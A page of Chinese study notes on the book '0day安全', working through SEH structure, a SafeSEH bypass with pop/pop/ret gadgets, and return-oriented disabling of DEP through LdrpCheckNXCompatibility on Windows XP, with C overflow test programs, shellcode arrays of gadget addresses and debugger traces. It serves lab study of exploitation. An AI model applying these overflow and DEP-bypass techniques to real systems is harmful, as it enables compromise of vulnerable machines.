精华内容
下载资源
问答
  • ODAY安全分析.rar

    2013-09-15 08:34:03
    ODAY安全分析.rar
  • oday安全:软件漏洞分析技术第10章第一个实验。有兴趣的小伙伴尝试一下。(帮帮忙啦,帮俺凑够50个字呗)
  • oday安全:软件漏洞分析技术》第五章的例子,包括源C代码、源程序、IDA数据库文件等,有兴趣的同学调试看看
  • Oday安全一书的内容越往后越深奥,不得不做些注记备忘。  书P297 插图11.5.6写道__except函数地址根据EBP-4的值得出。

        Oday安全一书的内容越往后越深奥,不得不做些注记备忘。

        1.书P297 插图11.5.6写道__except函数地址根据EBP-4的值得出。这是目前为止,书中写的最含糊的地方,需要展开讨论一下。参考<软件调试>P726提及的vc编译器扩展后的异常处理结构:

    (代码段1)

    struct _EXCEPTION_REGISTRATION
    {
     struct _EXCEPTION_REGISTRATION* prev;
    void (*handler)(PEXCEPTION_RECORD,PEXCEPTION_REGISTRATION,PCONTEXT,PEXCEPTION_RECORD);
    struct scopetable_entry* scopetable;
    int trylevel;
    int _ebp;
    };
    
    当进入一个函数体时,经过一系列push指令(见代码段3)形成了这个结构。[EBP-4]正好是_EXCEPTION_REGISTRATION!trylevel域,这是一个数组索引---范围表的索引,数组地址由_EXCEPTION_REGISTRATION!scopetable域指向。范围表中每个数组项的结构为(参见<软件调试> P727):
    

    (代码段2)

    struct scopetable_entry
    {
        DWORD previousTryLevel;
        FARPROC lpfnFilter;  //过滤表达式的地址
        FARPROC lpfnHandler; //异常处理块的地址
    };
    有了这些预备知识后,来看下作者是如何由EBP-4推得__except函数地址:当书中示例程序执行完以下代码后:

    (代码段3)

    00401020 55              push    ebp
    00401021 8bec            mov     ebp,esp
    00401023 6afe            push    0FFFFFFFEh
    00401025 6868224000      push    offset callJump!__rtc_tzz+0x68 (00402268)
    0040102a 68f5174000      push    offset callJump!_except_handler4 (004017f5)
    0040102f 64a100000000    mov     eax,dword ptr fs:[00000000h]
    00401035 50              push    eax
    栈内存分布如下:

    0:000> r ebp
    ebp=0012ff6c
    
    0:000> dd [ebp] L1
    0012ff6c  0012ff7c
    
    0:000> dd ebp-0x10 L8
    0012ff5c  0012ffb0 004017f5 00402268 fffffffe
    0012ff6c  0012ff7c
    
    0x12ff5c+0xc处是tryLevel;栈0x12ff64处存放了scopetable的地址。观察scopetable数组的内容,0x402278处(当前只有这个地方的值和0401023处压入的0xFFFFFFFE匹配)为当前函数的scopetable_entry项,项中记录的过滤函数/异常处理块和windbg的!exchain输出相同。

    0:000> dd 00402268 L8
    00402268  ffffffe0 00000000 ffffffb8 00000000
    00402278  fffffffe 004010c3 004010c9 000022c0
    0:000> !exchain
    0012ff5c: callJump!_except_handler4+0 (004017f5)
      CRT scope  0, filter: callJump!test+a3 (004010c3)
                    func:   callJump!test+a9 (004010c9)

        

        2.1.P296-P297,作者写道:"在Security Cookie+4的位置压入-2,在程序进入__try{}块后会修改为不同的值...我们的shellcode可能会被破坏"。根据<软件调试>P726的记述,__Exception_Registration!trylevel域在进出__try/__exception时会被编译器修改,这个位置正好位于ebp-4。我们的shellcode存放在栈上,溢出后可能会部分覆盖_EXCEPTION_REGISTRATION结构中的各个域,trylevel也可能被包含在其中。由于trylevel的值的易变性,这个位置不易存放shellcode,最好在在_EXCEPTION_REGISTRATION!scopetable的位置设置一段jmp短跳转,跳过trylevel中的shellcode。

        2.2.感觉作者的这段话可能有笔误:"在Security Cookie+4的位置压入-2",我调试过程中发现Security Cookie位于ebp-0x1C的位置。下面是反汇编代码:

    0401000 55              push    ebp
    00401001 8bec            mov     ebp,esp
    00401003 6afe            push    0FFFFFFFEh
    00401005 6828224000      push    offset SafeSEHExe!__rtc_tzz+0x68 (00402228)
    0040100a 68f5164000      push    offset SafeSEHExe!_except_handler4 (004016f5)
    0040100f 64a100000000    mov     eax,dword ptr fs:[00000000h]
    00401015 50              push    eax
    00401016 83ec14          sub     esp,14h
    00401019 a100304000      mov     eax,dword ptr [SafeSEHExe!__security_cookie (00403000)] <-----从此开始的3条指令,是计算本函数的Security Cookie值
    0040101e 3145f8          xor     dword ptr [ebp-8],eax
    00401021 33c5            xor     eax,ebp
    00401023 8945e4          mov     dword ptr [ebp-1Ch],eax <-----Security Cookie保存的位置
    00401026 53              push    ebx
    00401027 56              push    esi
    00401028 57              push    edi
    00401029 50              push    eax
    0040102a 8d45f0          lea     eax,[ebp-10h]
    0040102d 64a300000000    mov     dword ptr fs:[00000000h],eax
    00401033 8965e8          mov     dword ptr [ebp-18h],esp 

    查看栈内存分布,Security Cookie与-2相差甚远,Security Cookie位于0x12ff58,-2位于0x12ff70:

    0:000> ?? @ebp
    unsigned int 0x12ff74
    0:000> ?? @ebp-0x1c
    unsigned int 0x12ff58
    0:000> dd 0x12ff58
    0012ff58  7e2a44b2 0012ff40 7c9c94f8 0012ffb0
    0012ff68  004016f5 7e7899ee fffffffe 0012ffc0

    虽然,我的编译运行环境是:vs2005+WinXpsp3,编译器的版本比作者的略低,不过我感觉这并不是导致这种差异的根源。根据2.1节的讨论,我们已经确定__Exception_Registration!trylevel处存放了值-2,如果确如作者所说"在Security Cookie+4的位置压入-2",那security cookie正好侵占了__Exception_Registration!scopetable表。当然,读者可能认为这没关系啊,大不了可以让__Exception_Registration结构变成这样:

    struct _EXCEPTION_REGISTRATION
    {
     struct _EXCEPTION_REGISTRATION* prev;
    void (*handler)(PEXCEPTION_RECORD,PEXCEPTION_REGISTRATION,PCONTEXT,PEXCEPTION_RECORD);
    struct scopetable_entry* scopetable;
    int Security Cookie;
    int trylevel;
    int _ebp;
    };
    这就更不合理了,编译器要针对是否启用GS选项维护同名的两个结构,兼容性堪忧了。

        3.绕过SafeSEH保护的执行流程。整个流程需要2个模块的通力合作:溢出发生在exe模块中,dll提供pop/pop/ret指令序列。

        3.1.溢出发生时,__Exception_Registration!handler的内容被修改为dll提供的pop/pop/ret指令的地址;__Exception_Registration!prev被修改为一个短跳转指令EB 06

        3.2.触发异常后,不管OS怎么一步步处理异常,最后都是以:

    void (*handler)(PEXCEPTION_RECORD,PEXCEPTION_REGISTRATION,PCONTEXT,PEXCEPTION_RECORD);
    的形式调用异常处理函数。如果未溢出,OS则以这样的形式条用ExceptHandle3;对于我们这的情形,OS则会去调用被修改的异常处理函数----这个函数的函数体很简单----只有pop/pop/ret 3条指令。虽然函数体是伪造的,但是函数的参数还是由OS传给它的(OS也不会关心谁是异常处理函数,它只管正确的传参数和调用)。需要注明的一点,大多数参考书列出的异常处理函数的接口都是这样的形式(<软件调试>P733):

    void (*handler)(PEXCEPTION_RECORD,void*,PCONTEXT,PEXCEPTION_RECORD);
    不过,可以确定的是第二个参数的类型void*就是对应我们的PEXCEPTION_REGISTRATION结构。

        3.3.开始执行pop/pop/ret指令流。由于这个函数体(不管其内容是啥,在OS看来这pop/pop/ret就是段函数体)中没有操作过堆栈,因此,目前函数栈内存从低往高依次保存了:1).OS call [异常处理函数]时压入的retAddr|2).OS 传递的参数1----PEXCEPTION_RECORD|3).OS传递的参数2----PEXCEPTION_REGISTRATION等。第一条pop指令从栈中弹出了retAddr;第二条指令从栈中弹出了PEXCEPTION_RECORD;当执行ret时,栈中只有参数2----PEXCEPTION_REGISTRATION了,这保存了异常发生时函数的堆栈---- 已经被我们用shellcode溢出的面目全非。执行完ret指令,eip将从异常发生时函数堆栈上取指令执行:执行的第一条指令就是从原__Exception_Registration!prev处取值,取到jmp 06;nop;nop(为什么要jmp 06?因为如果顺序执行完__Exception_Registration!prev处的代码后,必然会接着去执行__Exception_Registration!handler,这里保存的是dll中pop/pop/ret指令的地址,因此要跳过这些影响shellcode执行的代码)。

        3.4.再往后就执行栈上其他的shellcode了.

    (完)


    参考:   The need for a POP POP RET instruction sequence







    展开全文
  • 本文补充记录我在试验关闭DEP过程遇到的问题和解决方法。  首先要说一下用OllyFindAddr插件寻找目标指令时可能会遇到的问题。诚然这个插件是个好东西,能迅速列出需要的指令流的地址,但并不是所有在列的指令地址都...

        本文补充记录我在试验关闭DEP过程遇到的问题和解决方法。

    1.首先要说一下用OllyFindAddr插件寻找目标指令时可能会遇到的问题。诚然这个插件是个好东西,能迅速列出需要的指令流的地址,但并不是所有在列的指令地址都可以使用,入选前需要仔细甄别。以关闭DEP保护流程中为抬高esp的值而使用"Find Pop Retn+n"功能为例:


    经过搜索,插件罗列了一堆备选指令地址。我挑选最后一个地址"0x7D97FE43"来实现抬高esp的目的。


    根据Memory map对话框显示的信息,被选的地址位于模块shell32.dll的资源节中。对于这样的地址,稍加思索就会猜想到当eip执行到资源节中会引发异常。当然这只是猜测,实际还是要验证一下。先修改shellcode,然后用windbg加载演示代码,会很明显的看到在执行retn 0x28后会触发访存失败:

    #include <windows.h>
    
    /*
    \x52\xe2\x92\x7c->mov al,0x01;ret;
    \x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
    \x19\x4a\x97\x7c->retn 0x28是书中给出的地址<-------------
    \x43\xfe\x97\x7d->retn 0x28是本文用于演示的地址<----------
    \x13\x98\xd1\x7d->jmp esp
    \x24\xcd\x93\x7c->关闭DEP
    */
    
    char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
    					"\x52\xe2\x92\x7c"\
    					"\x85\x8b\x1d\x5d"\
    					"\x43\xfe\x97\x7d"\
    					"\x13\x98\xd1\x7d"\
    					"\x24\xcd\x93\x7c"\
    					"\x90\x90\x90\x90"};
    
    int test()
    {
    	char arry[4] = {0};
    	_asm int 3;
    	strcpy(arry,shellcode);
    	return 0;
    }

        你可能会问我为什么临时用windbg替换Od来演示这个例子?因为od遇到访存错误就直接进入进入第二轮异常分发的流程,不便于演示目的;而windbg停留在第一轮异常分发流程(等待用户输入)。下面是程序溢出后准备抬高esp而执行指令retn 28前的调试记录:

    manualDep!test+0x2e:
    0040102e c3              ret
    0:000> t
    7c92e252 b801000000      mov     eax,1 ;调整eax的值
    0:000> t
    7c92e257 c3              ret
    0:000> t
    5d1d8b85 54              push    esp ;调整ebp的值
    0:000> t
    5d1d8b86 5d              pop     ebp
    0:000> t
    5d1d8b87 c20400          ret     4 ;抬高esp<----执行完ret 4就会准备执行ret 28
    此时堆栈顶的内容----即执行ret 4时的返回地址为:0x7d97fe43,将该地址反汇编,得到指令ret 28h

    0:000> r esp
    esp=0012ff80
    0:000> dd esp L4
    0012ff80  7d97fe43 7dd19813 7c93cd24 90909090
    0:000> u 7d97fe43  L1
    shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
    7d97fe43 c22800          ret     28h
    单步执行指令触发了异常,shellcode执行失败。异常发生时eip的值为0x7d97fe43,这正是ollyFindAddr给出的并被我随意采用的地址。 

    0:000> t
    (32c.70): Access violation - code c0000005 (first chance) <--------访问内存异常
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000001 ebx=7ffde000 ecx=00406054 edx=00000000 esi=007efeb8 edi=00edf554
    eip=7d97fe43 esp=0012ff88 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
    7d97fe43 c22800          ret     28h
        由此证明,虽然od给出很多备选地址,但这些地址未必都是可用的。结论:挑选指令流的地址时要首选落在模块可执行节中的地址。

    2.作者在结尾部分蜻蜓点水般的给出了在win2k3上关闭DEP的方法。不得不说作者实在太敷衍了,一行解释都没有,我硬生生的调了几天才明白背后的原理。请大家看我缓缓道来。为了缕清作者的思路和简化溢出的过程,我重写了一份简单的测试代码,直接将作者提到的用于修改esi的指令流写在测试代码中,免去用od搜寻地址的过程,如下(运行环境XpSp3+vc++6.0):

    char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\   //这8B是为了溢出main函数中的buf及栈中的ebp
    		"\x2a\x10\x40\x00"\ //这4B是程序加载时标签Lab1的地址,用于覆盖main函数的返回地址
    		"\x2c\x10\x40\x00"\ //这4B是标签Lab2的地址
    		"\x2e\x10\x40\x00"}; //最后4B是标签Lab3的地址
    
    int main()
    {	
    	_asm jmp Lab4; //Lab1-Lab3只为全局变量shellcode提供修改esi寄存器值的指令地址,并不直接参与程序的运行,因此用jmp语句跳到Lab4运行
    Lab1:
    	__asm
    	{
    		pop eax;
    		retn;
    	}
    Lab2:
    	__asm
    	{
    		pop esi;
    		retn;
    	}
    Lab3:
    	__asm
    	{
    		push esp;
    		jmp eax;
    	}
    	char buf[4] = {0};
    Lab4:	
    	memcpy(buf,shellcode,20); //shellcode中有0x00这样的字节,strcpy会截断字符串,所以替换为memcpy
    }
        代码注释中也写道main函数的返回地址被Lab1覆盖,这就不难想到执行ret前esp指向Lab1:

    0:000> r eip,esp
    eip=00401061 esp=0012ff84 ;返回前eip指向0x401061处ret指令
    
    0:000> ub eip L5
    00401054 83c444          add     esp,44h
    00401057 3bec            cmp     ebp,esp
    00401059 e862030000      call    pushjmp!_chkesp (004013c0)
    0040105e 8be5            mov     esp,ebp
    00401060 5d              pop     ebp
    0:000> u eip L1
    pushjmp!main+0x51 [C:\Documents and Settings\Administrator\桌面\studio\pushjmp\pushjmp.cpp @ 34]:
    00401061 c3              ret
    0:000> dd esp L8 ;返回前esp指向的栈内存
    0012ff84  0040102a 0040102c 0040102e 00430da0
    从0x12FF84开始的3个DWORD值是shellcode覆盖后的指令流地址,可以反汇编确认一下这串地址背后的指令:

    0:000> u 0040102a  L2 ;第一个DWORD值对应程序中的Lab1
    0040102a 58              pop     eax
    0040102b c3              ret
    0:000> u 0040102c L2 ;第二个DWORD值对应程序中的Lab2
    0040102c 5e              pop     esi
    0040102d c3              ret
    0:000> u 0040102e L2 ;第三个DWORD值对应程序中的Lab3
    0040102e 54              push    esp
    0040102f ffe0            jmp     eax

        现在我们已经清楚堆栈的分布,那就让我们在脑海中模拟一下程序执行的流程:

    执行0x401061处的ret指令---->栈顶0x12ff84保存的值为0x40102a。导致eip=0x40102a准备执行pop eax;ret指令流;同时栈指针esp指向0x12ff88:

    0:000> t
    0040102a 58              pop     eax
    
    0:000> r eip,esp
    eip=0040102a esp=0012ff88
    pop eax---->从0x12ff88中取值传给eax,eax=0x40102c(此刻eax中保存了pop esi;ret指令流的地址),同时设置esp=0x12ff8c使得下面的ret指令从内存0x12ff8c中取返回地址,大家往前看看内存0x12ff8c处存放了哪条指令流的地址?对,就是Lab3后面的指令流!所以,请不要小看这条平淡的pop eax指令,它不仅把Lab2处的指令流地址传给寄存器eax,它还使程序在执行ret后跳过Lab2处的指令直接返回到0x40102e处执行Lab3处的指令。堪称神奇的一跳。

    0:000> t ;单步执行pop eax
    eax=0040102c ;请先记住eax的值,后面马上用到
    0040102b c3              ret
    0:000> r eax
    eax=0040102c
    0:000> r esp
    esp=0012ff8c
    0:000> u poi(esp) L2 ;反汇编栈顶指令,这是ret后的返回地址
    0040102e 54              push    esp
    0040102f ffe0            jmp     eax
    0:000> t ;再次单步执行ret,程序如约进入Lab3
    0040102e 54              push    esp
        push esp的目的是为了讲堆栈指正赋给即将执行的pop esi使得esi指向可读写的内存。慢着,大家是否觉得我遗漏了什么?前面pop esi并没有被执行到,shellcode中其他再没有安排pop esp,怎么才能做到将esp的值赋给esi?请稍安勿躁接着看:

    0:000> t
    0040102e 54              push    esp
    0:000> t
    0040102f ffe0            jmp     eax {pushjmp!main+0x1c (0040102c)}
    0:000> r eax ;执行jmp eax前看看eax保存的值及对应的汇编指令
    eax=0040102c
    0:000> u eax L2
    0040102c 5e              pop     esi
    0040102d c3              ret
        啊,eax保存了程序中Lab2处的指令,这不就是从main函数ret时遇到的那个神奇的pop?这神奇的pop eax暂时冻结Lab2处代码的执行并保存到eax中,让eip先执行Lab3处的代码,然后解冻并从eax中迂回跳跃到Lab2中执行,太伟大了!

    0:000> r esp,esi
    esp=0012ff8c esi=007e8c4c
    0:000> t
    eax=0040102c esi=007e8c4c
    eip=0040102c esp=0012ff8c
    pushjmp!main+0x1c:
    0040102c 5e              pop     esi
    0:000> t
    eax=0040102c esi=0012ff90
    eip=0040102d esp=0012ff90
    0040102d c3              ret
    0:000> r esp,esi
    esp=0012ff90 esi=0012ff90
       最终shellcode成功的将esi修改为esp的值,使得esi指向的内存可读写。











    展开全文
  • 0day安全这书越到后面越难,哎...先记录一下看书过程中的注记,便于后面理解。

        0day安全这书越到后面越难,哎...先记录一下看书过程中的注记,便于后面理解。

        书中以绕过ntdll!LdrpCheckNXCompatibility:ntdll!LdrpCheckNXCompatibility对SafeDisc的检测为例展开讨论。以下为代码流程图:

    	1.
    	ntdll!LdrpCheckNXCompatibility:
    	7c93cd17 8365fc00        and     dword ptr [ebp-4],0
    	7c93cd1b 56              push    esi
    	7c93cd1c ff7508          push    dword ptr [ebp+8]
    	7c93cd1f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c93ccab)
    	7c93cd24 3c01            cmp     al,1                                           ;只有满足al==1,才会发生下面的跳转
    	7c93cd26 6a02            push    2
    	7c93cd28 5e              pop     esi ;push 2/pop esi==mov esi,2
    	7c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ;跳到2处执行
    	
    	2.																					 		
    	ntdll!LdrpCheckNXCompatibility+0x1a: ; 
    	7c95f70e 8975fc          mov     dword ptr [ebp-4],esi
    	7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f) ;跳到3处执行
    	
    	3.
    	7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0				;[ebp-4]中的值来源于1.中地址0x7c93cd26和0x7c93cd28的push/pop语句				 
    	7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831)	;跳到4处执行
    	
    	4.
    	ntdll!LdrpCheckNXCompatibility+0x4d:
    	7c956831 6a04            push    4
    	7c956833 8d45fc          lea     eax,[ebp-4]
    	7c956836 50              push    eax
    	7c956837 6a22            push    22h
    	7c956839 6aff            push    0FFFFFFFFh
    	7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)
    	7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d) ;跳到5处执行
    	
    	5.
    	ntdll!LdrpCheckNXCompatibility+0x5c:
    	7c93cd6d 5e              pop     esi
    	7c93cd6e c9              leave     ;mov esp,ebp pop ebp        
    	7c93cd6f c20400          ret     4 ;ntdll!LdrpCheckNXCompatibility检测SafeDisc的流程结束

        上面的代码片中有一处关键性的比较语句,只有当此处比较的结果得到满足,就能顺利关闭DEP。因此,全篇幅都是围绕此处代码在堆栈中做相应的调整。(虽然在3.处有一个比较语句,但此时[ebp-4]中的值为2,因此必然会发生跳转)。你可能会想当然的觉得只要在栈中预留一段

    mov al,1;
    jmp 0x7c93cd24 ;跳转到cmp al,1处

    这样的shellcode,使之覆盖栈中返回地址,当程序返回时跳转到mov al,1所在的地址,然后一切就搞定了~别忘了,现在堆栈是禁止执行的,所以这条路是行不通的。唯一能做的是在进程全部的可执行代码空间中寻找一段包含mov al,1的指令,然后将程序的返回地址覆盖为它。就这样结束了?当然不,CPU执行完mov al,1以后还要强制扭转CPU回到0x7c93cd24 cmp al,1处继续执行,否则,又无法关闭DEP了。

        能强制扳转程序执行流的指令,往往首先会让人想到是:在进程空间中搜索到mov al,1;Call/Jmp xxxx目标这样的指令流。但是,仔细想想好像这些指令未必有用:

    1.以0x7c93cd24为目的地址的直接跳转指令的数量应该不多;

    2.call/jmp [N]这样的间接跳转指令,也会因为无法修改[N]的值导致跳转失败。

    那是不是我们通向关闭DEP的道路就被堵死了?也不是,还有一种间接的跳转方式:push/ret指令组合。你可能会说进程空间中也未必会有push 0x7c93cd24这样的指令吧?没错,这样的指令确实不多,但是push/ret组合的本质是把返回地址通过push指令预设在堆栈中,当需要ret时,CPU到栈顶取返回地址。基于这种方式我们可以在溢出时将所有要跳转的目的地址全部预设在堆栈中,在需要进入LdrpCheckNXCompatibility函数时ret出来即可。

         借鉴这种方式,在进程空间中搜索mov al,1;ret这样的指令流来满足第一个cmp语句。Od提示在0x7c80c190处有mov al,0x01;ret指令。在执行LdrpCheckNXCompatibility前,我们要跳去0x7c80c190处执行mov al,0x01;当遇到ret指令时,又要从栈顶取返回地址,跳到0x7c93cd24执行cmp al,0x01。对于第一次跳转,我们可以安排在test函数返回时发生,由于执行一次return语句会使esp=esp+4,因此第二次跳转的地址存放在堆栈上紧接着前一次返回地址的4个字节。

    char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\  //这8B正好覆盖到[ebp]
    					"\x90\xc1\x80\x7c"\  //覆盖test返回地址,使其指向mov al,0x01
    					"\x24\xcd\x93\x7c"\  //ret的返回地址,返回到LdrpCheckNXCompatibility执行cmp al,0x01
    					"\x90\x90\x90\x90"};
    
    int test()
    {
    	char arry[4] = {0};
    	strcpy(arry,shellcode);
    	return 0;
    }
    
    int main()
    {
    	HMODULE hMod = LoadLibrary("shell32.dll");
    	test();
    }
    我们来验证一下上面的shellcode是否能通过0x7c93cd29 je判断,进而进入LdrpCheckNXCompatibility的伪代码2中执行(注意esp的变化):

    1.即将从test函数返回到mov al,0x01;ret指令序列中:

    此时esp的值为0x12FF78,存放了mov al,0x01;ret指令序列所在的地址0x7c80c190。当test函数中的ret指令返回时,将返回到地址0x7c80c190。

    2.即将返回到LdrpCheckNXCompatibility中:


    由于前一次ret指令,esp寄存器的值比上一次截图多4B,指向0x12ff7c。其存放的返回地址为:0x7c93cd24,即进入到LdrpCheckNXCompatibility函数中。

    3.进入LdrpCheckNXCompatibility函数:


    恩,看来这样安排堆栈可以进入LdrpCheckNXCompatibility。

    4.虽然,程序进入了LdrpCheckNXCompatibility,并执行通过cmp al,0x1但没执行几步就发生了异常:


    一旦程序执行到0x7c95F70E处的mov ss:[ebp-0x04],esi指令,会触发访问无效内存的异常。此时EBP的指向0x90909090,往[0x90909090-4]处写值当然会引发异常。当然OD也提示我们这块地址无法访问:


    触发访问无效内存的截图,右边为调用堆栈,倒数第二行显示的ExitCode=0xC0000005就是异常号:


        要解决这个异常,需要调整ebp的值,让ebp指向有效的内存,当然栈空间是最好不过的。至于怎么做,这个放到下一篇再写~

    展开全文
  • <Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节注记(上)  的末尾部分,我们遇到访问无效内存的异常,本篇将讨论如何解决这个异常并关闭DEP保护。我们已经知道引起异常的原因是向无效地址[ebp-4]...

        在前一篇<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节注记(上) 的末尾部分,我们遇到访问无效内存的异常,本篇将讨论如何解决这个异常并关闭DEP保护。我们已经知道引起异常的原因是向无效地址[ebp-4](0x9090908C)写入数据。要解决这个异常可能有2种思路:1.让[ebp-4]指向可读写的地址;2.修改函数LdrpCheckNxCompatibility的实现,当然,这种方法不是本篇讨论的内容,是否具有可行性也没有验证过,所以,还是来讨论方式1。

        出错时,ebp指向0x90909090,esp指向0x12ff80,当然esp指向的内存地址是可读写的,如果将esp的值赋给ebp,然后再执行mov ss:[ebp-4],esi就不会出错了。这样修改ebp最直白的方式应该是mov ebp,esp;ret;不知道是进程空间里搜不到这样的指令流还是别的原因,(想想也是mov ebp,esp一般都出现在函数入口出用于形成栈帧,才形成栈帧就执行retn感觉在浪费时间...)作者用的是一种替代方法:

    push esp
    pop ebp
    retn
    这个是个很神奇的指令序列: 1.经过push esp;pop ebp的确达到了修改ebp寄存器的目的;2在关闭DEP保护函数 LdrpCheckNxCompatibility的返回部分有这么一段指令流

    ntdll!LdrpCheckNXCompatibility+0x5c:  
    7c93cd6d 5e              pop     esi  
    7c93cd6e c9              leave     ;leave指令等效于mov esp,ebp pop ebp          
    7c93cd6f c20400          ret     4 ;
    一般在函数的入口处会有一个Entry指令用于建立函数的栈帧,并在退出函数时调用leave恢复函数调用前的栈。由于,我们是以不正常的方式跳过Entry指令并进入LdrpCheckNxCompatibility函数,当离开LdrpCheckNxCompatibility前,执行leave指令可能会导致用错误的ebp寄存器的值恢复esp,最终影响整个溢出过程中的堆栈布局。为了消除leave指令带来的影响,我们需要手工建立栈帧。这就有了上面的指令流----在进入LdrpCheckNxCompatibility函数之前执行push esp;pop ebp序列,相当于执行了一次Entry指令,这样关闭DEP后esp能保持进入前的原样,就不会破坏堆栈布局;3.在2的基础上,由于esp寄存器的值具有进出函数前后的一致性,因此不管在LdrpCheckNxCompatibility函数怎么操作堆栈,最终退出该函数时,esp还指向shellcode,这样的好处是便于定位(虽然shellcode的内容可能在关闭DEP的过程中被频繁的出入栈操作冲刷掉了)。我猜想作者是鉴于这样思路,所以选择使用这段指令流。

        现在要做的就是寻找这样的指令流,这简单,使用OD的OllyFindAddr插件就能实现这个功能:我挑选0x77ecdc68处的指令流。


        编译后再次加载调试,可以看到ebp和esp的值一致,当执行完ret指令进入关闭DEP保护的流程时esp==0x12FF88:

    下图为调整ebp准备进入LdrpCheckNxCompatibility函数:


    下图为进入LdrpCheckNxCompatibility函数:


    再来验证一下执行mov [ebp-4],esi指令时是否会引发异常,嗯,谢天谢地,终于让我饶过了这个是非之地:


        大家还记得前一篇我整理的关闭DEP保护的代码流吗?最重要的是要饶过代码流中标识3.处。当执行完上面mov ss:[ebp-4],esi指令不就后,就会执行到标识3处:

    3.  
    7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0                ;[ebp-4]中的值来源于1.中地址0x7c93cd26和0x7c93cd28的push/pop语句                
    7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4处执行  
    由于此时[ebp-4]的值为2,因此将跳转到LdrpCheckNxCompatibility函数关闭DEP保护的代码流标识4处执行:

    图为执行cmp ss:[ebp-4],00指令时寄存器和内存值,此时[ebp-4]==0x02,并将跳转到0x7c956831处运行:

    0x7c956831处的几条指令翻译成c语言其实就是ZwSetInformationProcess(-1,0x22,&[ebp-4],04);这条语句看似风平浪静,其实暗流涌动,请大家注意执行call ZwSetInformationProcess前后堆栈的变化:

    call之前的截图:

    call之后的截图:

    大家仔细观察从0x12FF78-0x12FF88这片栈内存值的变化。原本这片内存中存放的是精心构造的shellcode,很不幸,由于调用ZwSetInformationProcess函数shellcode的内容被覆盖的面目全非。这影响不大,最多shellcode执行不了了,但是当LdrpCheckNxCompatibility函数即将结束,执行leave;ret时,程序将返回到一个不可控的地址。让我们来手动模拟一下这个过程:

    首先是执行leave指令,等效于mov esp,ebp;pop ebp;执行过后esp=0x12FF84,ebp=0x12FF7c;

    紧接着准备执行retn指令,eip去[esp]中取返回地址,看看[esp]中存放了什么:[esp]=[0x12ff84]=0x04,shit,eip将返回到0x04去执行,想想都害怕。

    下图为执行leave指令后寄存器/堆栈的状态:


    下图为执行retn后Od的状态,指令窗口都黑线了,eip指向0x04,遇到这样的结果真倒霉:


        前面已经说过直接导致这个结果的原因是堆栈中的shellcode被覆盖,再深层次的挖掘一下,是因为栈顶esp的值离这关键部分的shellcode(关闭DEP保护的shellcode)太近。解决方法是在进入LdrpCheckNxCompatibility函数前先抬高esp的值,让它离这部分的shellcode远一点。书中提到的方法是在进程空间中寻找retN(N==0x28)指令。但是,od的OllyFindAddr插件没有直接提供这样的功能,它只能寻找pop+retN这类指令。作者建议是Number of pop对话框中填0,Number of ret 填0x28,这么建议是有讲究的:

    1.以Number of pop=1;Number of retN=0x28为例,ollyFindAddr找到的调整esp的指令流多数长这样:


    如果选取pop ebp+retn 28指令流会引起新的bug----调用ZwSetInformationProcess时传入的第三个参数是[ebp-4]的地址:

    ntdll!LdrpCheckNXCompatibility+0x4d:  
    7c956831 6a04            push    4  
    7c956833 8d45fc          lea     eax,[ebp-4]  <---取[ebp-4]的地址
    7c956836 50              push    eax          <---地址入栈
    7c956837 6a22            push    22h  
    7c956839 6aff            push    0FFFFFFFFh  
    7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)  
    7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
    一旦执行了pop ebp,势必影响lea eax, [ebp-4]得结果,所以作者提到抬高esp的过程中不能修改ebp;

    2.既然不能修改ebp的地址,即不能执行pop ebp这样的指令,那我选择pop eax;retN这类指令流总可以吧。的确是可以,不过pop eax会影响esp的值,不方便计算shellcode的布局。鉴于上述两点原因,作者在对话框中填入了Number of pop=0;Number of RetN=28。

        重新生成shellcode,将找到用于调整esp指针的retN地址插入到push esp;pop ebp;retn 0x4的地址之后,两者之间必选相隔4B而不是紧挨着,这是为什么?大家来看一下此时堆栈分布情况:esp指向0x12FF80,执行完retn 0x4之后,除了ret本身会让esp=esp+4 后面的 0x04又会让esp=esp+4.最终的效果就是修改esp为0x12FF88。CPU执行完retn 0x04之后,将执行retn 0x28,返回地址从栈顶esp寄存器中取出,原本我们指望esp取出的返回地址是0x7c974a19(就是进入关闭DEP保护的流程)。事与愿违的事发生了,esp将从栈顶取出的值为0x90909090,CPU返回到这个地址执行又会异常。所以我们先要在地址0x12FF84处预留4B的空档,然后在堆栈0x12FF88处存放值0x7C93CD24,好在执行retn 0x28时返回到LdrpCheckNxCompatibility函数中

        编译od加载,让我们把程序停在执行retn 28之前,看下此时堆栈的分布:


    此时esp寄存器值为0x12FF80,执行retn 04后eip将指向0x7c974a19(存放指令retn 0x28----用于抬高esp的值),同时esp被修改为0x12FF88:


    再次执行retn 0x28指令,esp将被修改为0x12FF88+0x04+0x28=0x12FFb4;eip进入LdrpCheckNxCompatibility函数,进行关闭DEP的流程:


        等到关闭DEP流程结束执行leave指令时,esp寄存器会恢复到之前修改EBP寄存器的值时的状态。下一次执行retn 4时Eip会从栈顶0x12FF84取返回地址,还记得这指向前面修改ebp值和抬高esp值时留下的空档?忘了可以回过去看看前面的段落。


